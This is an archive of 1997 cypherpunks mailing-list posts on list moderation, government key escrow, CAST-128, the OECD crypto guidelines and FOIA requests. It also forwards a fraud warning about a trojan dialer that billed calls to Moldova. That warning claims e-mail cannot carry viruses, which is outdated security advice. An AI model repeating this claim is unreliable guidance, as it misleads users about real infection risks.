so many lurkers have waded through the muck for so long. I've seen
the crown jewels that have surfaced here in the past, and spread the
word. "Cypherpunks" was where the action was. It was fast and loose and
inhabited by a prolific core of sharp minds. Old memes die hard, as
is evidenced every time we see a warning about the "Goodtimes Virus."

>The experiment will be over in a few weeks.  Who's going to take over
>deciding how to run the list, and running it?

As I said, if you don't want the list anymore, pull the plug. It will
pop up again elsewhere and you need never worry about it again.

This post from Mr Gilmore certainly is revealing. Perhaps inevitably,
he has assumed the traditional paternal role of authority when its
motives and/or power to regulate is questioned.

Golem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Tue, 4 Feb 1997 23:27:33 -0800 (PST)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: Are cypher punks capable?
Message-ID: <199702050727.XAA18145@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel <nobody@squirrel.owl.de> writes:

> Against Moderation wrote:
> > In general, unsubscribing and resubscribing to a mailing list is not
> > completely trivial.
> 
> Do you think that a cypher punk is not able to solve these problems?

Read the rest of my message.  I never said it wasn't pussible, it's
just a question of how much effort I want to put in (which at this
point, being roughly proportionaly to the quality of articles on
cypherpunks, is close to zero).

Whatever the difficulty or ease of fixing my mail filter, however, the
fact that I haven't done it yet should not be counted as a vote in
favor of moderation.  This is what I am objecting to in John's
article.

John, if you are seriously interested in input from list members, then
I have a proposal that I think is only fair.

Why don't you create a new mailing list called cypherpunks-edited,
which receives exactly the same filtered content as the current
"cypherpunks@toad.com" list.  Then encourage people to move from
cypherpunks to either the -edited or -unedited lists to express their
desires for the future of the list.

In a another month, compare the subsription lists of the 3 lists.  If
there are considerably more subscribers to cypherpunks-edited than
cypherpunks-unedited, then you can reasonably claim that a lot of list
members want to see the list filtered.  However, if, as I suspect, the
number of people subscribing to the -edited and -unedited lists is
statistically insignificant next to the people on the main cypherpunks
list, then subscription counts are not a valid metric for judging the
desires of list members.

Of course, in the mean time I would like to see cypherpunks revert to
an unmoderated list, but I'm not going to push my luck.  I'd already
be happe just to see the creation of a cypherpunks-edited list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 4 Feb 1997 23:42:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702050742.XAA18657@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Just to add my $.02 to the me too pile:
It should be noted that the subscription from netbb+internet.
cypherpunks@andrew.cmu.edu is a mail<->news gateway for Carnegie
Mellon University people. It represents maybe 10-50 cypherpunks
readers. I used to read cypherpunks from there, but I see some kind
soul has subscribed CMU to the unedited list, so I will read that
instead. My killfile is just enough censorship for me.

On the choke points note, mailing lists are better than usenet because
legendary AOLers with there 5 free hours of fame and their ilk usually
don't figure out how to pester mailing lists. Being on a mailing list
usually requires a commitment, that is enough of a barrier for many of
the usenet underirables.

Waiting for the end of moderation,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Tue, 4 Feb 1997 23:41:20 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: GAK/KR spin
Message-ID: <199702050741.XAA18605@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear said:

>Several months back there were discussions on the list regarding renaming
>the government's key escrow/recovery proposals (KRAP comes to mind).  I
>think we need something that's catchy and simple (perhaps already familiar)
>to understand for the semi-litterate citizen units.  I propose we encourage
>use of the terms "crippleware" or "crypto crippleware" when refering to the
>products limited to their weak crypto and/or key escrow/recovery.

Another point on all this that was made by Matt Blaze at the RSA
conference (and that I have been making to all my friends) is that Crypto
is basically a "solved" problem. The government's efforts to impose
GAK is in effect transposing a "solved" problem into an "unsolved"
problem - due to the inherent problems with any conceivable
GAK "solution". I thought this was a very good case against GAK.

=Bill=








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bjorn Asman <Bjorn.Asman.Info-Design@tripnet.se>
Date: Tue, 4 Feb 1997 23:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: bye.bye
Message-ID: <199702050726.XAA18051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have to agree that Mr. Tim C May have a big point. Even if i didn't 
like all the things Mr. May wrote so could i read it, and that is the 
point i think Mr. Sandford missed. That is to have a list that is a 
"living" list. You have to have all the people giving their chanche 
to say what tehy like even if they dont are "mentaly healthy".I have 
one more thing to "say". Namely to say bye.bye. 
to this list. I have never posted to this list, i have only read it, 
because i like the freedom in it (free speech and so on), but if i 
have to change my subscription to unedit-cypherpunks just to "hear" 
the freedom of speech, i rather just say no and unsubscribe.
bye.bye
bjorn.asman@infodesign.se.org
Roerstrandsgatan 7a
41703.Goeteborg
Phone +46-(0)31-221056
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The subjects are cyborg, nature is coyote, 
and the geography is Elsewhere
-Donna Haraway
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 07:27:52 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Silly Americans
Message-ID: <199702051527.HAA28821@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 2/4/97 -0500, Rick Osborne wrote:
>The original poster was talking about the UniSys GIF
>patent, and this was the reply:
>
>>Broaden your view. I can do anything I want with the GIF format 
>>without asking _anyone_, and so can almost everyone in the world -
>> except those poor americans who chose to live under a "broken" 
>>patent law which allows protecting _algorithms_. Totally silly.

Not true, of course - other countries also have broken patent
laws that permit patenting algorithms.  For instance, IDEA is patented
in places besides the US.  The differences in the US are that
perhaps our patent people became stupid earlier, and that US patent
law allows you to apply for a patent up to one year after publishing,
while European patent laws don't let you patent anything that's
been disclosed to the public.

>a philosophical note, why *do* we allow the government to regulate
>algorithms?  (Implementations, I can understand, but *algorithms*?)

Because they're bigger than we are and better-armed?
Because there's lots of money to be made by people patenting things?
Because big companies can use it to interfere with competition?
Because it's good for the economy because it encourages inventors
	of algorithms to publish them and make money by doing so?

(I'll take the first three of those arguments :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 5 Feb 1997 07:25:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AltaVista Tunnel
Message-ID: <199702051525.HAA28716@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:
> 
> He triumphantly exclaimed that the encryption was 128-bit, but when
> I said "128-bit what?" he cowered and muttered that he didn't know and went
> on with his little speech.  The rest of my crypto-specific questions met
> with equal dark stares.  And these are the people setting industry standards...

I should be happy that you are bashing a competitor and all, but give
them a break, OK? The marketing dweeb who has to do product pitches
on roadshows is not the same as the design engineer who designs the
system and sets technical standards. There can be a big difference in
technical knowledge about the product, and even basic competency,
between the two.

-- 
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Tue, 4 Feb 1997 13:59:22 -0800 (PST)
To: cryptography@c2.net
Subject: Re: CAST
Message-ID: <199702042159.NAA06314@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've just had mail from Carlisle Adams in response to my question about the 
status of CAST-128:
 
>CAST-128 is available free for commercial and non-commercial use.  This
>has been stated publicly in a press release from Entrust Technologies
>(see http://www.entrust.com/press.htm for details).  The cipher
>itself is described in complete detail, along with test vectors, etc.,
>at the same web site (see the "Technical Papers" section of
>http://www.entrust.com/library.htm).
>
>Feel free to post this response wherever you think it appropriate.
>
>--------------------------------------
>Carlisle Adams
>Entrust Technologies
>cadams@entrust.com
>---------------------------------------
 
The algorithm is well worth looking at (see the URL above) - it's a nice 
royalty-free drop-in replacement for IDEA for example.  I've had a version 
half-finished for inclusion in cryptlib for a few months now, but something 
else always seems to crop up...
 
Peter.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 5 Feb 1997 07:28:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Letter Re: Kahn Supporting GAK
Message-ID: <199702051528.HAA28822@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

My letter to Long Island Newsday regarding David Kahn's pro-GAK
editorial was published today. You can read it at

    http://www.newsday.com/mainnews/rnmi052u.htm

What's odd (?) is how they editied it. I directed my comments toward
Mr. Kahn's views, which they changed to "Newsday" (odd, since I've
never seen them print an editorial one way or another on GAK; does
this mean they are taking a stand? -- Kahn is an editor at Newsday).

I wrote "The greatest flaw in the argument is it's very reason,
'criminals... are increasingly using encryption to conceal their plans
and activities'" which they changed to "It reports...". I never
considered an op-ed piece as "reporting", even if it states a fact.

The following paragraph

  There are also a variety of technical problems associated with
  escrowing encryption keys, mainly, how to do so securely? A single
  `backdoor key' (or set of keys) for a popular product can become an
  easy target for crackers who can jeopardize the security of an
  entire system. Software can be easily hacked to disable or damage
  the key escrow features, and there are techniques to hide even the
  presence of a message in something innocuous as a digitized image.
  (Mr. Kahn seems to have forgotten to mention that the FBI not only
  wants to overhear cellular phone conversations but also read E-mail
  and any other encrypted files people have.)

was changed to just

   There are also several technical problems associated with escrowing
   encryption keys, mainly, how  to do so securely. 

They did leave the last two paragraphs relatively intact, though.

Yeah, yeah... the piece could have been much longer & detailed, but
it's only a letter to the editor...

- --Rob

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-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 5 Feb 1997 07:55:46 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: AltaVista Tunnel
Message-ID: <199702051555.HAA29347@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das wrote:
> Rick Osborne wrote:
> > He triumphantly exclaimed that the encryption was 128-bit, but when
> > I said "128-bit what?" he cowered and muttered that he didn't know and went
> > on with his little speech.  The rest of my crypto-specific questions met
> > with equal dark stares.  And these are the people setting industry standards...

> I should be happy that you are bashing a competitor and all, but give
> them a break, OK? The marketing dweeb who has to do product pitches
> on roadshows is not the same as the design engineer who designs the
> system and sets technical standards. There can be a big difference in
> technical knowledge about the product, and even basic competency,
> between the two.

HP in their first 17 years of making personal computers always sent
real engineers along with salespeople to their product rollouts.

Starting in late 1983 with their first MS-DOS computer, they did a
180-degree and eliminated the engineers, and started sending people
who knew nothing about HP products, which is bad in the sense that
some folks wanted to know "Why should I buy HP when I can get the
real thing, i.e. IBM"?  As a sales manager, I always had a hard time
with that one.  I blame HP in retrospect, for a moron mentality in
their marketing department.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Wed, 5 Feb 1997 08:59:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702051659.IAA00921@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



IDEA vs DES vs Blowfish vs RSAREF
Which of these symmetric algorithms are the hardest to break and what are their characteristics.


//Anon






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Feb 1997 07:26:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD Waffles
Message-ID: <199702051526.HAA28804@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-4-97. Reuters:

Global group fails to endorse Clinton encryption plan 

Washington: An influential economic research group is preparing 
guidelines on computer encryption for its member countries but 
will duck some of the most contentious issues involved, according 
to a draft obtained by Reuters.

The Clinton administration, seeking to rally support for its 
controversial policy on exporting encryption products -- which 
encode and decode e-mail and other computerized messages -- failed 
to win an endorsement from the Organisation for Economic Cooperation 
and Development (OECD), although the group did discuss the
administration's approach.

On perhaps the most difficult issue, the draft guidelines do not 
favour or oppose a requirement in the U.S. policy that data-scrambling 
encryption programmes provide a way for law enforcement officials to 
obtain keys to crack the codes when necessary.

After indicating that governments should carefully weigh the costs and 
benefits of imposing so-called key recovery, the draft report said, 
"this principle should not be interpreted as implying that governments 
should, or should not, initiate legislation that would allow lawful 
access."

On all the controversial areas in the draft, "the member countries of 
the OECD have strongly held views but they don't always coincide," 
John Dryden, head of the group's Information, Computer and Communications 
Policy division, said in a telephone interview from Paris.

Some countries see widespread use of encryption as a way to protect the 
privacy of computer users and businesses, thereby encouraging global 
commerce, Dryden said. But others see encryption as possibly thwarting 
law enforcement's efforts to catch riminals and global terrorists, he 
said.

The guidelines suggest encryption users should have access to products 
that meet their needs. Government controls should be "no more than are 
essential to the discharge of government responsibilities."

Instead of reconciling the different views, the draft guidelines lay out 
competing interests and approaches.

"It's not in itself a cryptography policy and it's not an attempt to 
draft a model national law that we're encouraging people to adopt," 
Dryden said. Cryptography refers to products and systems used in 
encryption.

The guidelines also suggest encryption standards and usage should be 
"determined by the market in an open and competitive environment."

"There's a strong view that the private sector should have the 
possibility to use information networks to the best of their potential 
in order to create growth and jobs," Dryden said.

U.S. officials who have seen the preliminary draft praised the guidelines. 
"They're an important and helpful step forward," Undersecretary of 
Commerce William Reinsch said.

"They're helpful because they put down on paper the proper foundation for 
getting into this," he added.

Reinsch said most countries will follow the U.S. lead and require 
so-called key recovery features for law enforcement. Under the Clinton 
policy, domestic use of encryption is not regulated but the strongest 
coding products cannot be exported unless they include key recovery.

U.S. companies that have opposed the Clinton policy, contending it stifles 
their ability to compete with unfettered foreign firms, drew little solace 
from the draft guidelines.

"This is not helpful," said Netscape Communications Corp.'s public policy 
counsel, Peter Harter. Netscape and other companies preferred stronger 
language endorsing free-market policies, he said.

The draft guidelines, approved by a group of government and private-sector 
experts at a meeting at the end of January, still must be approved by a 
top-level OECD officials from the group's 29 member countries, including 
the United States.

----- 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Wed, 5 Feb 1997 09:01:36 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702051701.JAA00977@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 AM 2/5/1997, Greg Broiles wrote:
> On 1/18/97, I sent freedom of information act requests to the FBI (main and
> San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
> of information in their files relating to or referring to the cypherpunks
> list, the cypherpunks meetings, and copies of any messages sent from or to
> "cypherpunks@toad.com".

> To date, I have received three responses: one from the SF office of the FBI,
> indicating that they have no records responsive to my request; one from the
> NSA, indicating that they are processing my request, and one from the Secret
> Service, asking for a copy of my signature. (I've got no clue why they want
> that; unless I screwed up, I believe my initial request was signed.)

Have these organizations been known to lie?  What penalties does
the organization or its employees face when they do so?  Have these
penalties ever been applied?

Also, which exceptions in the FOIA law would allow them to respond
dishonestly?

Inquiring minds want to know!

Peter Hendrickson
pdh@best.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Feb 1997 07:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Total Recall' Come True!
Message-ID: <199702051526.HAA28803@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Major Organizations Are Experimenting With Computer Chip Implants in
Humans, According to EE Times Special Report

Manhasset, N.Y., Feb. 4 -- The implantation of computer chips into 
humans and animals is now actively being funded, researched and 
experimented by major institutions such as Stanford University, 
British Telecom, the National Institute of Health (NIH) and major 
corporations, according to the first of a two-part special report 
published by EE Times (http://www.eet.com). Although the work is 
drawing fire from civil libertarians and conspiracy theorists, among 
others, many scientists and physicians defend the work for its 
potential to ease suffering.

"It's 'Total Recall' come true! Our in-depth look into this state-of-
the- art research reveals that the mix of electrical engineering and 
medical technologies to surgically implant computer chip-driven devices 
is here today -- a micro chip implant is simply one step beyond a 
pacemaker," said EE Times Internet Editor Larry Lange.

According to the EE Times report, Mitsubishi Electric Corp. (Tokyo) 
recently developed a low-cost input device that can recognize human 
movement and convert it to commands for use in software applications. 
This device is expected to find its way into tools used by people with 
disabilities. On other fronts, the semiconductor research lab at 
Motorola Inc. is working on body-embedded electronic blood-sensors that 
may one day allow diabetics to measure their blood sugar levels without 
ever drawing a drop of blood.

The special report, appearing in next week issue in print and online, 
looks at additional areas of research and the differing reactions to it.

-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 07:28:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: NFIC Warning About Sexygirls web site
Message-ID: <199702051528.HAA28823@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I had to laugh when I read this...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: themet@pop.mindspring.com
Mime-Version: 1.0
Date: Wed, 5 Feb 1997 01:50:36 -0800
To: fraudnews@silverquick.com
From: Mark Taylor <themet@mindspring.com>
Subject: NFIC Warning About Sexygirls web site
Reply to: Mark Taylor <themet@mindspring.com>


Here is an interesting twist on how some crafty scamsters can
rack up money on your phone bill
===========
National Fraud Information Center

Monday, February 4, 1997

PORNO SURPRISE

Consumers who visited a pornographic website
(www.sexygirls.com) last month got a big surprise on their
phone bills. After a few teaser pictures, surfer was told
he/she needed to download a special program to view the
archived images. That program was actually a viewer with an
entire communications suite hidden deep inside (a non-self
propogating
Trojan Horse). The program disconnected user from his/her ISPs,
shut off the volume on the modem if it was computer controlled,
and dialed a number in Moldova -- a small, former republic of
the Soviet Union wedged in between the Ukraine and Romania. All
the while the consumer was on the website, and even if he/she
then browsed other sites on the World Wide Web, the Internet
access was being provided through the Moldova number, resulting
in huge international phone charges! Consumers didn't know that
until their phone bills arrived. According to the Toronto Star
Business Reporter, there are Canadian reports of bills into the
thousands.

The Toronto star also reports that the Royal Canadian Mounted
Police has requested all calls from Canada to that number in
Moldova be blocked. Bell Canada is attempting to provide relief
for Canadian consumers.

US consumers should contact their long distance providers if
they find these unexpected charges on their bill.

The RCMP has also required the owners of sexygirls.com to place
a disclaimer on the site, alerting consumers to the presence of
the communications software in the viewer. The disclaimer also
tells consumers how to disconnect if they do not wish to use
the server in Moldava.

In November, Internet Fraud Watch warned consumers concerning
the possible dangers of downloading programs over the Internet.
Some tips:

       Don't download unnecessary items. If it's just a piece
of razzle-dazzle, don't bother. It will only take up space on
your hard drive and perform no useful function. If there's no
gain for you from the program, there's no reason to take a
risk.

       Only download from sites you know and trust. While even
a major corporations site can sometimes have a viral
infection, a lone programmer might be using an attractive piece
of code as a delivery vehicle for his pet virus.

       Don't download material directly onto a computer network
at work. First download it onto a stand alone PC. Test  it out.
Make sure it doesn't have any malicious side-effects. Check
that machine for known viruses. Only at that point should you
install the downloaded program on a networked machine.

       If you feel you must download files, keep track of what
files you have on your system and what files are created during
a program installation. That way you can easily uninstall any
program if you find it to be undesirable. This also helps in
detecting new installed files that aren't supposed to be there.

Remember, your main worry is an executable file (i.e. a program
or application). Despite what you hear all over the Internet,
you cannot get a virus from a piece of e-mail.

If you are having a problem with calls to Moldova, the
connection will only be made if you attempt to use the viewer.
If you try to use the viewer, shut down your machine after you
are finished at that site. If you wish to remove the viewer
altogether, the file name is david.exe (for IBM users). If you
are in Windows, it should be in your program folder.



	FraudNews is owned and published by :
	Mark Taylor: themet@mindspring.com

All material published is copyright.It must not be reproduced
in any form without the express permission of of the owner.

=============================================================
This Newsletter is broadcast using the List and Newsletter
Management facilities of Silverquick Communications
You may subscribe to FraudNews and the Fraud-Discuss lists on
the web pages at : http://www.silverquick.com
=============================================================

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Daniel R. Oelke" <doelke@rockdal.aud.alcatel.com>
Date: Wed, 5 Feb 1997 07:55:53 -0800 (PST)
To: azur@netcom.com
Subject: Re: BA Crypto Machine Photos
Message-ID: <199702051555.HAA29358@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> >BTW, does anyone know the meaning of 'order wire mode' in the context of a
> >crypto broadcast? This mode is found in the KWR-37 online crypto
> >receiver. Please send all photo requests or responses via private E-mail.
> 
> If it means the same thing as in the telecom industry, its an out-of-band
> (often analof) channel between two locations connected by wide-band (e.g.,
> T1) facilities.  Its primary purpose is to provide service personnel, at
> each end point, the ability to converse with one another while performing
> work on that link.
> 

I would also guess it might be something similar to the orderwire in
the telecom industry.  I am more familiar with digital orderwire systems,
but orderwires are generally all similar.  You have a communications 
link, and some overhead on that link is dedicated to providing 
a voice channel for communications between sites so that people
working on the line can communicate with each other.

In a crypto system - I could see that the orderwire might be a
in-the-clear transmission as part of the overhead so that people at 
each end of a hop can figure out why the data (i.e. encrypted) portion
isn't getting through.

Dan
------------------------------------------------------------------
Dan Oelke                                  Alcatel Network Systems
droelke@aud.alcatel.com                             Richardson, TX






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 5 Feb 1997 11:39:30 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: ITAR and Paper ROM
Message-ID: <199702051939.LAA03422@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Given that high-density inkjet printers can do 600x600 dpi resolution, it
>should be possible to achieve the equivalent of 100x100 bpi of
>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or
>100 kilobytes.   What does ITAR say about this?
>
>
>Jim Bell
>jimbell@pacifier.com

I'm not sure if what I did in the 80s, trying to create what I called
'paper ROM, is applicable.  In these investigations I used matricies of
small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind
to replace diskettes for inexpensive mass data distribution.  I was able to
reliably get 100-200 KB/page side using standard offset printing.  With
modern ink-jet/laser printers you should be able to reliably get at least
10-50KB/page side. Although a technical success, I abandoned the effort
when I discovered someone had patented (4,488,679) something similar a few
years earlier.

-- Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Vagner <jlv@sig.bsh.com>
Date: Wed, 5 Feb 1997 07:55:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702051555.HAA29366@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   >Re: the below.  Easily the best and most intelligent suggestion so
   >far.  Why couldn't Sandy and John with all their experience think
   >of this?

Actually, I've been sitting on the sidelines, somewhat bemused, that
this far into online living the cypherpunks have to rehash this
themselves. I've seen this entire exchange at least three times in
the last two years. None of the lists survived. Good luck..

   >> If I might make a suggestion:
   >> Some people want moderation. That's fine, I've never been very big on
   >> letting other people choose what I read, but some people want it.
   >> For those who want it, let someone moderate the list for as long as
   >> they care to do it. Approved messages get a "X-sandy-approved"
   >> header. The responsibility for setting up a filter to toss everything
   >> that doesn't have the header is the responsibility of the end user.
   >> Toad will need to filter incoming posts to make sure they don't come
   >> "pre-approved", but that's the only hole I can think of.
   >> Everyone gets all of the Cypherpunks list. Those who want moderation
   >> filter the unapproved posts, those who want all of it get all of it.
   >> Hopefully, this will make (almost) everyone happy.

---

  Jason Vagner <jlv@sig.bsh.com> Resist KRAP and GAK. Police States 
  Are Bad. "All that one can give is what is going to happen, which may 
  have little to do with a present that you can grasp." - Avital Ronell.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 5 Feb 1997 11:39:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702051939.LAA03414@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Learn to use an anonymous remailer.

Thanks for the hint, Dr. Vulis. I have registered for a course, but
seats are available only in fall.

-- 
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 5 Feb 1997 11:41:02 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: OECD Waffles
Message-ID: <199702051941.LAA03449@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>2-4-97. Reuters:
>
>Global group fails to endorse Clinton encryption plan
>
>Washington: An influential economic research group is preparing
>guidelines on computer encryption for its member countries but
>will duck some of the most contentious issues involved, according
>to a draft obtained by Reuters.
>
[snip]

Gee, that's funny....

I could have sworn I heard the Hon. Abassador Aaron tell us last week
that the US had "strong international support" for its' key
recovery programs, especially from the OECD.

Here's a quote from an earlier Reuters article:

>   Wednesday January 29 3:26 PM EST
>
>U.S. Encryption Envoy Seeks Industry Cooperation
>
>   SAN FRANCISCO - The Clinton administration's newly named point man on
>   encryption policy is citing international support for U.S. policies
>   limiting use of encryption and called for industry cooperation.
>
>   Ambassador David Aaron, special envoy for cryptography, said on a
>   speech to the RSA Data Security Conference in San Francisco that U.S.
>   allies support the concept of lawful access by governments and the use
>   of key recovery mechanisms.


and a quote from the NY Times:

>The New York Times, January 29, 1997, p. D19.
>
>
> Consensus Sought on Computer Coding
>
> By John Markoff
>
> San Francisco -- The Clinton administration's top overseas representative
> on cryptography -- or data scrambling -- told a group of skeptical
> computer industry executives and technical experts Tuesday that important
> allies support the administration's position that governments should have
> access-coded computer files and digital communications.
>
> The speech by David L. Aaron, made on the opening day of a computer
> security conference, was part of a renewed effort by the administration
> to gain broad support for its efforts to control data-scrambling
> technologies, which are increasingly viewed as crucial components of
> electronic commerce and communications.

I am shocked, SHOCKED, I say, that a representative of our government
would mislead us in this way.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:25:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702051725.JAA01456@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> 
> > > people who have such money are not going to bump off very many more
> > > people than they already do, because:
> > > 1. They need the people to make money off of (Mafia rule #4, never
> > >    kill someone who owes you money [or is a money source]).
> 
> > This is a wrong Mafia rule, they do kill debtors who are in default.
> 
> Really?  Then how do they collect their money?  BTW, I heard the rule
> from the mouth of a real mob hitman.
mafia used to have a habit of hiring some lonely person do do work for them
(such as, set up their crypto infrastructure), then make him disappear, and he
won' be missed, and they won't have to pay for the work.  Bumping off the people
that you owe money to is bad for one's rep. I'd be reluctant to do consulting
for organized crime for this reason. Perhaps that's why the Feds have such easy
time wiretapping them. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:01:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702051701.JAA00962@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

> Adam Back wrote:
> > 
> > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > 
> 
> I have only one objection. I will never post to an Usenet group
> under my real email address for fear of ending up in spammer
> databases.
> 
> -- 
> Anil Das
> 

Learn to use an anonymous remailer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 5 Feb 1997 12:02:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702052002.MAA03703@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Several people wrote:
>I wrote:
>>ObCrypto policy:
>>        Was anyone else besides me amazed by the guy
>>from Deloitte-Touche at the Internet Privacy Coalition luncheon
>>last week? I mean, he all but advocated violent overthrow of
>>the government. [...]
>
>For the benefit of those of us who were not at this luncheon (probably
>not even in the same country), could you please say more about this,
>Marshall?  What was the subject?  What _did_ the DT speaker say, exactly?
>
After a while, I stopped taking notes, because I was so astounded at
what he was saying.
(Maybe someone with more complete notes could post a better summary)

But, here a brief overview of the luncheon:

